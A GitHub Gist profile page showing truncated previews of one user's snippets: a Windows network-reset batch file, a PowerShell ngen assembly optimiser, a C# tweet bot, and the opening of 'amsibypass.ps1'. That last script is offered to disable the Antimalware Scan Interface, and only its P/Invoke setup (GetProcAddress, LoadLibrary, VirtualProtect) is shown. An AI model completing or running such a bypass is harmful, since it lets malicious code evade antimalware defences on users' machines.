Skip to content

Instantly share code, notes, and snippets.

View luke-beep's full-sized avatar
Electron society and its consequences to performance.

Azrael luke-beep

Electron society and its consequences to performance.
View GitHub Profile
@luke-beep
luke-beep / reset.bat
Created February 9, 2024 13:06
Easily reset all of your application-level network settings.
@echo off
SETLOCAL ENABLEDELAYEDEXPANSION
ipconfig /all > ipconfig_backup.txt
set logFile=network_reset_log.txt
echo [%date% %time%] Starting network reset > %logFile%
:checkError
if %ERRORLEVEL% neq 0 (
echo Failed on %~1
echo [%date% %time%] Failed on %~1 >> %logFile%
pause
function Optimize-Assemblies {
param (
[string]$assemblyFilter = "Microsoft.PowerShell.",
[string]$activity = "Native Image Installation"
)
try {
$ngenPath = Join-Path ([Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()) "ngen.exe"
if (-Not (Test-Path $ngenPath)) {
$ngenPath = Join-Path ([Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory()) "ngen.exe"
$assemblies = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -and $_.Location }
foreach ($assembly in $assemblies) {
Start-Process -FilePath $ngenPath -ArgumentList "install `"$($assembly.Location)`"" -Wait -NoNewWindow
}
@luke-beep
luke-beep / program.cs
Created February 13, 2023 14:19
Automated Tweets using C# and Tweetinvi.
using Tweetinvi;
namespace Automated_Tweets
{
class Program
{
static void Main(string[] args)
{
#region Null Check
if (args is null)
@luke-beep
luke-beep / amsibypass.ps1
Created February 13, 2023 14:18
A simple powershell script to break the AMSI chain.
$_class = @"
using System;
using System.Runtime.InteropServices;
public class _class {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr lnsgbs, uint flNewProtect, out uint lpflOldProtect);